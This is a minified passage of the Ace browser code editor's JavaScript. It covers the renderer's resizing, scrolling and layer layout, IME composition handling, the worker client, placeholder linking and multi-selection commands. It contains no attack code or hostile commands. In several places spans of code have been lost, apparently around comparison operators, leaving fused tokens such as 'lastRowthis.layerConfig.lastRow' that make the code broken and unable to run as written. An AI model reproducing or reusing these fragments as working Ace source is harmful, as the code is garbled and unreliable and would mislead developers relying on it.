0===t&&(t=1/0),this.$changedLines?(this.$changedLines.firstRow>e&&(this.$changedLines.firstRow=e),this.$changedLines.lastRowthis.layerConfig.lastRow||this.$loop.schedule(this.CHANGE_LINES)},this.onChangeNewLineMode=function(){this.$loop.schedule(this.CHANGE_TEXT),this.$textLayer.$updateEolChar(),this.session.$bidiHandler.setEolChar(this.$textLayer.EOL_CHAR)},this.onChangeTabSize=function(){this.$loop.schedule(this.CHANGE_TEXT|this.CHANGE_MARKER),this.$textLayer.onChangeTabSize()},this.updateText=function(){this.$loop.schedule(this.CHANGE_TEXT)},this.updateFull=function(e){e?this.$renderChanges(this.CHANGE_FULL,!0):this.$loop.schedule(this.CHANGE_FULL)},this.updateFontSize=function(){this.$textLayer.checkForSizeChanges()},this.$changes=0,this.$updateSizeAsync=function(){this.$loop.pending?this.$size.$dirty=!0:this.onResize()},this.onResize=function(e,t,i,n){if(!(this.resizing>2)){this.resizing>0?this.resizing++:this.resizing=e?1:0;var s=this.container;n||(n=s.clientHeight||s.scrollHeight),i||(i=s.clientWidth||s.scrollWidth);var o=this.$updateCachedSize(e,t,i,n);if(!this.$size.scrollerHeight||!i&&!n)return this.resizing=0;e&&(this.$gutterLayer.$padding=null),e?this.$renderChanges(o|this.$changes,!0):this.$loop.schedule(o|this.$changes),this.resizing&&(this.resizing=0),this.scrollBarH.scrollLeft=this.scrollBarV.scrollTop=null}},this.$updateCachedSize=function(e,t,i,n){n-=this.$extraHeight||0;var o=0,r=this.$size,a={width:r.width,height:r.height,scrollerHeight:r.scrollerHeight,scrollerWidth:r.scrollerWidth};if(n&&(e||r.height!=n)&&(r.height=n,o|=this.CHANGE_SIZE,r.scrollerHeight=r.height,this.$horizScroll&&(r.scrollerHeight-=this.scrollBarH.getHeight()),this.scrollBarV.element.style.bottom=this.scrollBarH.getHeight()+"px",o|=this.CHANGE_SCROLL),i&&(e||r.width!=i)){o|=this.CHANGE_SIZE,r.width=i,null==t&&(t=this.$showGutter?this.$gutter.offsetWidth:0),this.gutterWidth=t,s.setStyle(this.scrollBarH.element.style,"left",t+"px"),s.setStyle(this.scroller.style,"left",t+this.margin.left+"px"),r.scrollerWidth=Math.max(0,i-t-this.scrollBarV.getWidth()-this.margin.h),s.setStyle(this.$gutter.style,"left",this.margin.left+"px");var l=this.scrollBarV.getWidth()+"px";s.setStyle(this.scrollBarH.element.style,"right",l),s.setStyle(this.scroller.style,"right",l),s.setStyle(this.scroller.style,"bottom",this.scrollBarH.getHeight()),(this.session&&this.session.getUseWrapMode()&&this.adjustWrapLimit()||e)&&(o|=this.CHANGE_FULL)}return r.$dirty=!i||!n,o&&this._signal("resize",a),o},this.onGutterResize=function(e){var t=this.$showGutter?e:0;t!=this.gutterWidth&&(this.$changes|=this.$updateCachedSize(!0,t,this.$size.width,this.$size.height)),this.session.getUseWrapMode()&&this.adjustWrapLimit()||this.$size.$dirty?this.$loop.schedule(this.CHANGE_FULL):this.$computeLayerConfig()},this.adjustWrapLimit=function(){var e=this.$size.scrollerWidth-2*this.$padding,t=Math.floor(e/this.characterWidth);return this.session.adjustWrapLimit(t,this.$showPrintMargin&&this.$printMarginColumn)},this.setAnimatedScroll=function(e){this.setOption("animatedScroll",e)},this.getAnimatedScroll=function(){return this.$animatedScroll},this.setShowInvisibles=function(e){this.setOption("showInvisibles",e),this.session.$bidiHandler.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.getOption("showInvisibles")},this.getDisplayIndentGuides=function(){return this.getOption("displayIndentGuides")},this.setDisplayIndentGuides=function(e){this.setOption("displayIndentGuides",e)},this.setShowPrintMargin=function(e){this.setOption("showPrintMargin",e)},this.getShowPrintMargin=function(){return this.getOption("showPrintMargin")},this.setPrintMarginColumn=function(e){this.setOption("printMarginColumn",e)},this.getPrintMarginColumn=function(){return this.getOption("printMarginColumn")},this.getShowGutter=function(){return this.getOption("showGutter")},this.setShowGutter=function(e){return this.setOption("showGutter",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.$updatePrintMargin=function(){if(this.$showPrintMargin||this.$printMarginEl){if(!this.$printMarginEl){var e=s.createElement("div");e.className="ace_layer ace_print-margin-layer",this.$printMarginEl=s.createElement("div"),this.$printMarginEl.className="ace_print-margin",e.appendChild(this.$printMarginEl),this.content.insertBefore(e,this.content.firstChild)}var t=this.$printMarginEl.style;t.left=Math.round(this.characterWidth*this.$printMarginColumn+this.$padding)+"px",t.visibility=this.$showPrintMargin?"visible":"hidden",this.session&&-1==this.session.$wrap&&this.adjustWrapLimit()}},this.getContainerElement=function(){return this.container},this.getMouseEventTarget=function(){return this.scroller},this.getTextAreaContainer=function(){return this.container},this.$moveTextAreaToCursor=function(){if(!this.$isMousePressed){var e=this.textarea.style,t=this.$composition;if(this.$keepTextAreaAtCursor||t){var i=this.$cursorLayer.$pixelPos;if(i){t&&t.markerRange&&(i=this.$cursorLayer.getPixelPosition(t.markerRange.start,!0));var n=this.layerConfig,o=i.top,r=i.left;o-=n.offset;var a=t&&t.useTextareaForIME?this.lineHeight:v?0:1;if(o<0||o>n.height-a)s.translate(this.textarea,0,0);else{var l=1,h=this.$size.height-a;if(t)if(t.useTextareaForIME){var c=this.textarea.value;l=this.characterWidth*this.session.$getStringScreenWidth(c)[0]}else o+=this.lineHeight+2;else o+=this.lineHeight;(r-=this.scrollLeft)>this.$size.scrollerWidth-l&&(r=this.$size.scrollerWidth-l),r+=this.gutterWidth+this.margin.left,s.setStyle(e,"height",a+"px"),s.setStyle(e,"width",l+"px"),s.translate(this.textarea,Math.min(r,this.$size.scrollerWidth-l),Math.min(o,h))}}}else s.translate(this.textarea,-100,0)}},this.getFirstVisibleRow=function(){return this.layerConfig.firstRow},this.getFirstFullyVisibleRow=function(){return this.layerConfig.firstRow+(0===this.layerConfig.offset?0:1)},this.getLastFullyVisibleRow=function(){var e=this.layerConfig,t=e.lastRow;return this.session.documentToScreenRow(t,0)*e.lineHeight-this.session.getScrollTop()>e.height-e.lineHeight?t-1:t},this.getLastVisibleRow=function(){return this.layerConfig.lastRow},this.$padding=null,this.setPadding=function(e){this.$padding=e,this.$textLayer.setPadding(e),this.$cursorLayer.setPadding(e),this.$markerFront.setPadding(e),this.$markerBack.setPadding(e),this.$loop.schedule(this.CHANGE_FULL),this.$updatePrintMargin()},this.setScrollMargin=function(e,t,i,n){var s=this.scrollMargin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,s.top&&this.scrollTop<=0&&this.session&&this.session.setScrollTop(-s.top),this.updateFull()},this.setMargin=function(e,t,i,n){var s=this.margin;s.top=0|e,s.bottom=0|t,s.right=0|n,s.left=0|i,s.v=s.top+s.bottom,s.h=s.left+s.right,this.$updateCachedSize(!0,this.gutterWidth,this.$size.width,this.$size.height),this.updateFull()},this.getHScrollBarAlwaysVisible=function(){return this.$hScrollBarAlwaysVisible},this.setHScrollBarAlwaysVisible=function(e){this.setOption("hScrollBarAlwaysVisible",e)},this.getVScrollBarAlwaysVisible=function(){return this.$vScrollBarAlwaysVisible},this.setVScrollBarAlwaysVisible=function(e){this.setOption("vScrollBarAlwaysVisible",e)},this.$updateScrollBarV=function(){var e=this.layerConfig.maxHeight,t=this.$size.scrollerHeight;!this.$maxLines&&this.$scrollPastEnd&&(e-=(t-this.lineHeight)*this.$scrollPastEnd,this.scrollTop>e-t&&(e=this.scrollTop+t,this.scrollBarV.scrollTop=null)),this.scrollBarV.setScrollHeight(e+this.scrollMargin.v),this.scrollBarV.setScrollTop(this.scrollTop+this.scrollMargin.top)},this.$updateScrollBarH=function(){this.scrollBarH.setScrollWidth(this.layerConfig.width+2*this.$padding+this.scrollMargin.h),this.scrollBarH.setScrollLeft(this.scrollLeft+this.scrollMargin.left)},this.$frozen=!1,this.freeze=function(){this.$frozen=!0},this.unfreeze=function(){this.$frozen=!1},this.$renderChanges=function(e,t){if(this.$changes&&(e|=this.$changes,this.$changes=0),this.session&&this.container.offsetWidth&&!this.$frozen&&(e||t)){if(this.$size.$dirty)return this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal("beforeRender",e),this.session&&this.session.$bidiHandler&&this.session.$bidiHandler.updateCharacterWidths(this.$fontMetrics);var i=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){if(e|=this.$computeLayerConfig()|this.$loop.clear(),i.firstRow!=this.layerConfig.firstRow&&i.firstRowScreen==this.layerConfig.firstRowScreen){var n=this.scrollTop+(i.firstRow-this.layerConfig.firstRow)*this.lineHeight;n>0&&(this.scrollTop=n,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig()|this.$loop.clear())}i=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),s.translate(this.content,-this.scrollLeft,-i.offset);var o=i.width+2*this.$padding+"px",r=i.minHeight+"px";s.setStyle(this.content.style,"width",o),s.setStyle(this.content.style,"height",r)}if(e&this.CHANGE_H_SCROLL&&(s.translate(this.content,-this.scrollLeft,-i.offset),this.scroller.className=this.scrollLeft<=0?"ace_scroller":"ace_scroller ace_scroll-left"),e&this.CHANGE_FULL)return this.$changedLines=null,this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),void this._signal("afterRender",e);if(e&this.CHANGE_SCROLL)return this.$changedLines=null,e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(i):this.$textLayer.scrollLines(i),this.$showGutter&&(e&this.CHANGE_GUTTER||e&this.CHANGE_LINES?this.$gutterLayer.update(i):this.$gutterLayer.scrollLines(i)),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),void this._signal("afterRender",e);e&this.CHANGE_TEXT?(this.$changedLines=null,this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(i):e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER?this.$showGutter&&this.$gutterLayer.update(i):e&this.CHANGE_CURSOR&&this.$highlightGutterLine&&this.$gutterLayer.updateLineHighlight(i),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(i),this.$moveTextAreaToCursor()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(i),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(i),this._signal("afterRender",e)}else this.$changes|=e},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,i=Math.min(t,Math.max((this.$minLines||1)*this.lineHeight,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(i+=this.scrollBarH.getHeight()),this.$maxPixelHeight&&i>this.$maxPixelHeight&&(i=this.$maxPixelHeight);var n=!(i<=2*this.lineHeight)&&e>t;if(i!=this.desiredHeight||this.$size.height!=this.desiredHeight||n!=this.$vScroll){n!=this.$vScroll&&(this.$vScroll=n,this.scrollBarV.setVisible(n));var s=this.container.clientWidth;this.container.style.height=i+"px",this.$updateCachedSize(!0,this.$gutterWidth,s,i),this.desiredHeight=i,this._signal("autosize")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,i=t.height<=2*this.lineHeight,n=this.session.getScreenLength()*this.lineHeight,s=this.$getLongestLine(),o=!i&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-s-2*this.$padding<0),r=this.$horizScroll!==o;r&&(this.$horizScroll=o,this.scrollBarH.setVisible(o));var a=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var l=t.scrollerHeight+this.lineHeight,h=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;n+=h;var c=this.scrollMargin;this.session.setScrollTop(Math.max(-c.top,Math.min(this.scrollTop,n-t.scrollerHeight+c.bottom))),this.session.setScrollLeft(Math.max(-c.left,Math.min(this.scrollLeft,s+2*this.$padding-t.scrollerWidth+c.right)));var u=!i&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-n+h<0||this.scrollTop>c.top),d=a!==u;d&&(this.$vScroll=u,this.scrollBarV.setVisible(u));var g,f,m=this.scrollTop%this.lineHeight,p=Math.ceil(l/this.lineHeight)-1,v=Math.max(0,Math.round((this.scrollTop-m)/this.lineHeight)),w=v+p,$=this.lineHeight;v=e.screenToDocumentRow(v,0);var b=e.getFoldLine(v);b&&(v=b.start.row),g=e.documentToScreenRow(v,0),f=e.getRowLength(v)*$,w=Math.min(e.screenToDocumentRow(w,0),e.getLength()-1),l=t.scrollerHeight+e.getRowLength(w)*$+f,m=this.scrollTop-g*$;var y=0;return(this.layerConfig.width!=s||r)&&(y=this.CHANGE_H_SCROLL),(r||d)&&(y|=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal("scrollbarVisibilityChanged"),d&&(s=this.$getLongestLine())),this.layerConfig={width:s,padding:this.$padding,firstRow:v,firstRowScreen:g,lastRow:w,lineHeight:$,characterWidth:this.characterWidth,minHeight:l,maxHeight:n,offset:m,gutterOffset:$?Math.max(0,Math.ceil((m+t.height-t.scrollerHeight)/$)):0,height:this.$size.scrollerHeight},this.session.$bidiHandler&&this.session.$bidiHandler.setContentWidth(s-this.$padding),y},this.$updateLines=function(){if(this.$changedLines){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var i=this.layerConfig;if(!(e>i.lastRow+1||tthis.$textLayer.MAX_LINE_LENGTH&&(e=this.$textLayer.MAX_LINE_LENGTH+30),Math.max(this.$size.scrollerWidth-2*this.$padding,Math.round(e*this.characterWidth))},this.updateFrontMarkers=function(){this.$markerFront.setMarkers(this.session.getMarkers(!0)),this.$loop.schedule(this.CHANGE_MARKER_FRONT)},this.updateBackMarkers=function(){this.$markerBack.setMarkers(this.session.getMarkers()),this.$loop.schedule(this.CHANGE_MARKER_BACK)},this.addGutterDecoration=function(e,t){this.$gutterLayer.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){this.$gutterLayer.removeGutterDecoration(e,t)},this.updateBreakpoints=function(e){this.$loop.schedule(this.CHANGE_GUTTER)},this.setAnnotations=function(e){this.$gutterLayer.setAnnotations(e),this.$loop.schedule(this.CHANGE_GUTTER)},this.updateCursor=function(){this.$loop.schedule(this.CHANGE_CURSOR)},this.hideCursor=function(){this.$cursorLayer.hideCursor()},this.showCursor=function(){this.$cursorLayer.showCursor()},this.scrollSelectionIntoView=function(e,t,i){this.scrollCursorIntoView(e,i),this.scrollCursorIntoView(t,i)},this.scrollCursorIntoView=function(e,t,i){if(0!==this.$size.scrollerHeight){var n=this.$cursorLayer.getPixelPosition(e),s=n.left,o=n.top,r=i&&i.top||0,a=i&&i.bottom||0,l=this.$scrollAnimation?this.session.getScrollTop():this.scrollTop;l+r>o?(t&&l+r>o+this.lineHeight&&(o-=t*this.$size.scrollerHeight),0===o&&(o=-this.scrollMargin.top),this.session.setScrollTop(o)):l+this.$size.scrollerHeight-as?(s=1-this.scrollMargin.top||(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom||(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left||(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right||void 0)))},this.pixelToScreenCoordinates=function(e,t){var i;if(this.$hasCssTransforms){i={top:0,left:0};var n=this.$fontMetrics.transformCoordinates([e,t]);e=n[1]-this.gutterWidth-this.margin.left,t=n[0]}else i=this.scroller.getBoundingClientRect();var s=e+this.scrollLeft-i.left-this.$padding,o=s/this.characterWidth,r=Math.floor((t+this.scrollTop-i.top)/this.lineHeight),a=this.$blockCursor?Math.floor(o):Math.round(o);return{row:r,column:a,side:o-a>0?1:-1,offsetX:s}},this.screenToTextCoordinates=function(e,t){var i;if(this.$hasCssTransforms){i={top:0,left:0};var n=this.$fontMetrics.transformCoordinates([e,t]);e=n[1]-this.gutterWidth-this.margin.left,t=n[0]}else i=this.scroller.getBoundingClientRect();var s=e+this.scrollLeft-i.left-this.$padding,o=s/this.characterWidth,r=this.$blockCursor?Math.floor(o):Math.round(o),a=Math.floor((t+this.scrollTop-i.top)/this.lineHeight);return this.session.screenToDocumentPosition(a,Math.max(r,0),s)},this.textToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=this.session.documentToScreenPosition(e,t),s=this.$padding+(this.session.$bidiHandler.isBidiRow(n.row,e)?this.session.$bidiHandler.getPosLeft(n.column):Math.round(n.column*this.characterWidth)),o=n.row*this.lineHeight;return{pageX:i.left+s-this.scrollLeft,pageY:i.top+o-this.scrollTop}},this.visualizeFocus=function(){s.addCssClass(this.container,"ace_focus")},this.visualizeBlur=function(){s.removeCssClass(this.container,"ace_focus")},this.showComposition=function(e){this.$composition=e,e.cssText||(e.cssText=this.textarea.style.cssText),null==e.useTextareaForIME&&(e.useTextareaForIME=this.$useTextareaForIME),this.$useTextareaForIME?(s.addCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText="",this.$moveTextAreaToCursor(),this.$cursorLayer.element.style.display="none"):e.markerId=this.session.addMarker(e.markerRange,"ace_composition_marker","text")},this.setCompositionText=function(e){var t=this.session.selection.cursor;this.addToken(e,"composition_placeholder",t.row,t.column),this.$moveTextAreaToCursor()},this.hideComposition=function(){if(this.$composition){this.$composition.markerId&&this.session.removeMarker(this.$composition.markerId),s.removeCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText=this.$composition.cssText;var e=this.session.selection.cursor;this.removeExtraToken(e.row,e.column),this.$composition=null,this.$cursorLayer.element.style.display=""}},this.addToken=function(e,t,i,n){var s=this.session;s.bgTokenizer.lines[i]=null;var o={type:t,value:e},r=s.getTokens(i);if(null==n)r.push(o);else for(var a=0,l=0;l50&&e.length>this.$doc.getLength()>>1?this.call("setValue",[this.$doc.getValue()]):this.emit("change",{data:e}))}}).call(l.prototype);t.UIWorkerClient=function(e,t,i){var n=null,s=!1,a=Object.create(o),h=[],c=new l({messageBuffer:h,terminate:function(){},postMessage:function(e){h.push(e),n&&(s?setTimeout(u):u())}});c.setEmitSync=function(e){s=e};var u=function(){var e=h.shift();e.command?n[e.command].apply(n,e.args):e.event&&a._signal(e.event,e.data)};return a.postMessage=function(e){c.onMessage({data:e})},a.callback=function(e,t){this.postMessage({type:"call",id:t,data:e})},a.emit=function(e,t){this.postMessage({type:"event",name:e,data:t})},r.loadModule(["worker",t],(function(e){for(n=new e[i](a);h.length;)u()})),c},t.WorkerClient=l,t.createWorker=a})),define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"],(function(e,t,i){"use strict";var n=e("./range").Range,s=e("./lib/event_emitter").EventEmitter,o=e("./lib/oop"),r=function(e,t,i,n,s,o){var r=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=s,this.othersClass=o,this.$onUpdate=this.onUpdate.bind(this),this.doc.on("change",this.$onUpdate,!0),this.$others=n,this.$onCursorChange=function(){setTimeout((function(){r.onCursorChange()}))},this.$pos=i;var a=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=a.length,this.setup(),e.selection.on("changeCursor",this.$onCursorChange)};(function(){o.implement(this,s),this.setup=function(){var e=this,t=this.doc,i=this.session;this.selectionBefore=i.selection.toJSON(),i.selection.inMultiSelectMode&&i.selection.toSingleRange(),this.pos=t.createAnchor(this.$pos.row,this.$pos.column);var s=this.pos;s.$insertRight=!0,s.detach(),s.markerId=i.addMarker(new n(s.row,s.column,s.row,s.column+this.length),this.mainClass,null,!1),this.others=[],this.$others.forEach((function(i){var n=t.createAnchor(i.row,i.column);n.$insertRight=!0,n.detach(),e.others.push(n)})),i.setUndoSelect(!1)},this.showOtherMarkers=function(){if(!this.othersActive){var e=this.session,t=this;this.othersActive=!0,this.others.forEach((function(i){i.markerId=e.addMarker(new n(i.row,i.column,i.row,i.column+t.length),t.othersClass,null,!1)}))}},this.hideOtherMarkers=function(){if(this.othersActive){this.othersActive=!1;for(var e=0;e=this.pos.column&&t.start.column<=this.pos.column+this.length+1,o=t.start.column-this.pos.column;if(this.updateAnchors(e),s&&(this.length+=i),s&&!this.session.$fromUndo)if("insert"===e.action)for(var r=this.others.length-1;r>=0;r--){var a={row:(l=this.others[r]).row,column:l.column+o};this.doc.insertMergedLines(a,e.lines)}else if("remove"===e.action)for(r=this.others.length-1;r>=0;r--){var l;a={row:(l=this.others[r]).row,column:l.column+o};this.doc.remove(new n(a.row,a.column,a.row,a.column-i))}this.$updating=!1,this.updateMarkers()}},this.updateAnchors=function(e){this.pos.onChange(e);for(var t=this.others.length;t--;)this.others[t].onChange(e);this.updateMarkers()},this.updateMarkers=function(){if(!this.$updating){var e=this,t=this.session,i=function(i,s){t.removeMarker(i.markerId),i.markerId=t.addMarker(new n(i.row,i.column,i.row,i.column+e.length),s,null,!1)};i(this.pos,this.mainClass);for(var s=this.others.length;s--;)i(this.others[s],this.othersClass)}},this.onCursorChange=function(e){if(!this.$updating&&this.session){var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit("cursorEnter",e)):(this.hideOtherMarkers(),this._emit("cursorLeave",e))}},this.detach=function(){this.session.removeMarker(this.pos&&this.pos.markerId),this.hideOtherMarkers(),this.doc.off("change",this.$onUpdate),this.session.selection.off("changeCursor",this.$onCursorChange),this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(-1!==this.$undoStackDepth){for(var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth,i=0;i1?e.multiSelect.joinSelections():e.multiSelect.splitIntoLines()},bindKey:{win:"Ctrl-Alt-L",mac:"Ctrl-Alt-L"},readOnly:!0},{name:"splitSelectionIntoLines",description:"Split into lines",exec:function(e){e.multiSelect.splitIntoLines()},readOnly:!0},{name:"alignCursors",description:"Align cursors",exec:function(e){e.alignCursors()},bindKey:{win:"Ctrl-Alt-A",mac:"Ctrl-Alt-A"},scrollIntoView:"cursor"},{name:"findAll",description:"Find all",exec:function(e){e.findAll()},bindKey:{win:"Ctrl-Alt-K",mac:"Ctrl-Alt-G"},scrollIntoView:"cursor",readOnly:!0}],t.multiSelectCommands=[{name:"singleSelection",description:"Single selection",bindKey:"esc",exec:function(e){e.exitMultiSelectMode()},scrollIntoView:"cursor",readOnly:!0,isAvailable:function(e){return e&&e.inMultiSelectMode}}];var n=e("../keyboard/hash_handler").HashHandler;t.keyboardHandler=new n(t.multiSelectCommands)})),define("ace/multi_select",["require","exports","module","ace/range_list","ace/range","ace/selection","ace/mouse/multi_select_handler","ace/lib/event","ace/lib/lang","ace/commands/multi_select_commands","ace/search","ace/edit_session","ace/editor","ace/config"],(function(e,t,i){var n=e("./range_list").RangeList,s=e("./range").Range,o=e("./selection").Selection,r=e("./mouse/multi_select_handler").onMouseDown,a=e("./lib/event"),l=e("./lib/lang"),h=e("./commands/multi_select_commands");t.commands=h.defaultCommands.concat(h.multiSelectCommands);var c=new(0,e("./search").Search);var u=e("./edit_session").EditSession;(function(){this.getSelectionMarkers=function(){return this.$selectionMarkers}}).call(u.prototype),function(){this.ranges=null,this.rangeList=null,this.addRange=function(e,t){if(e){if(!this.inMultiSelectMode&&0===this.rangeCount){var i=this.toOrientedRange();if(this.rangeList.add(i),this.rangeList.add(e),2!=this.rangeList.ranges.length)return this.rangeList.removeAll(),t||this.fromOrientedRange(e);this.rangeList.removeAll(),this.rangeList.add(i),this.$onAddRange(i)}e.cursor||(e.cursor=e.end);var n=this.rangeList.add(e);return this.$onAddRange(e),n.length&&this.$onRemoveRange(n),this.rangeCount>1&&!this.inMultiSelectMode&&(this._signal("multiSelect"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)}},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length&&this.$onRemoveRange(e)},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal("addRange",{range:e})},this.$onRemoveRange=function(e){if(this.rangeCount=this.rangeList.ranges.length,1==this.rangeCount&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var i=e.length;i--;){var n=this.ranges.indexOf(e[i]);this.ranges.splice(n,1)}this._signal("removeRange",{ranges:e}),0===this.rangeCount&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal("singleSelect"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),(t=t||this.ranges[0])&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){this.rangeList||(this.rangeList=new n,this.ranges=[],this.rangeCount=0)},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){for(var e=this.ranges.length?this.ranges:[this.getRange()],t=[],i=0;i1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{var n=this.session.documentToScreenPosition(this.cursor),o=this.session.documentToScreenPosition(this.anchor);this.rectangularRangeBlock(n,o).forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,i){var n=[],o=e.column0;)w--;if(w>0)for(var $=0;n[$].isEmpty();)$++;for(var b=w;b>=$;b--)n[b].isEmpty()&&n.splice(b,1)}return n}}.call(o.prototype);var d=e("./editor").Editor;function g(e){e.$multiselectOnSessionChange||(e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on("changeSession",e.$multiselectOnSessionChange),e.on("mousedown",r),e.commands.addCommands(h.defaultCommands),function(e){if(!e.textInput)return;var t=e.textInput.getElement(),i=!1;function n(t){i&&(e.renderer.setMouseCursor(""),i=!1)}a.addListener(t,"keydown",(function(t){var s=18==t.keyCode&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&s?i||(e.renderer.setMouseCursor("crosshair"),i=!0):i&&n()}),e),a.addListener(t,"keyup",n,e),a.addListener(t,"blur",n,e)}(e))}(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,"ace_selection",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(e.marker){this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);-1!=t&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length}},this.removeSelectionMarkers=function(e){for(var t=this.session.$selectionMarkers,i=e.length;i--;){var n=e[i];if(n.marker){this.session.removeMarker(n.marker);var s=t.indexOf(n);-1!=s&&t.splice(s,1)}}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){this.inMultiSelectMode||(this.inMultiSelectMode=!0,this.setStyle("ace_multiselect"),this.keyBinding.addKeyboardHandler(h.keyboardHandler),this.commands.setDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers())},this.$onSingleSelect=function(e){this.session.multiSelect.inVirtualMode||(this.inMultiSelectMode=!1,this.unsetStyle("ace_multiselect"),this.keyBinding.removeKeyboardHandler(h.keyboardHandler),this.commands.removeDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit("changeSelection"))},this.$onMultiSelectExec=function(e){var t=e.command,i=e.editor;if(i.multiSelect){if(t.multiSelectAction)"forEach"==t.multiSelectAction?n=i.forEachSelection(t,e.args):"forEachLine"==t.multiSelectAction?n=i.forEachSelection(t,e.args,!0):"single"==t.multiSelectAction?(i.exitMultiSelectMode(),n=t.exec(i,e.args||{})):n=t.multiSelectAction(i,e.args||{});else{var n=t.exec(i,e.args||{});i.multiSelect.addRange(i.multiSelect.toOrientedRange()),i.multiSelect.mergeOverlappingRanges()}return n}},this.forEachSelection=function(e,t,i){if(!this.inVirtualSelectionMode){var n,s=i&&i.keepOrder,r=1==i||i&&i.$byLines,a=this.session,l=this.selection,h=l.rangeList,c=(s?l:h).ranges;if(!c.length)return 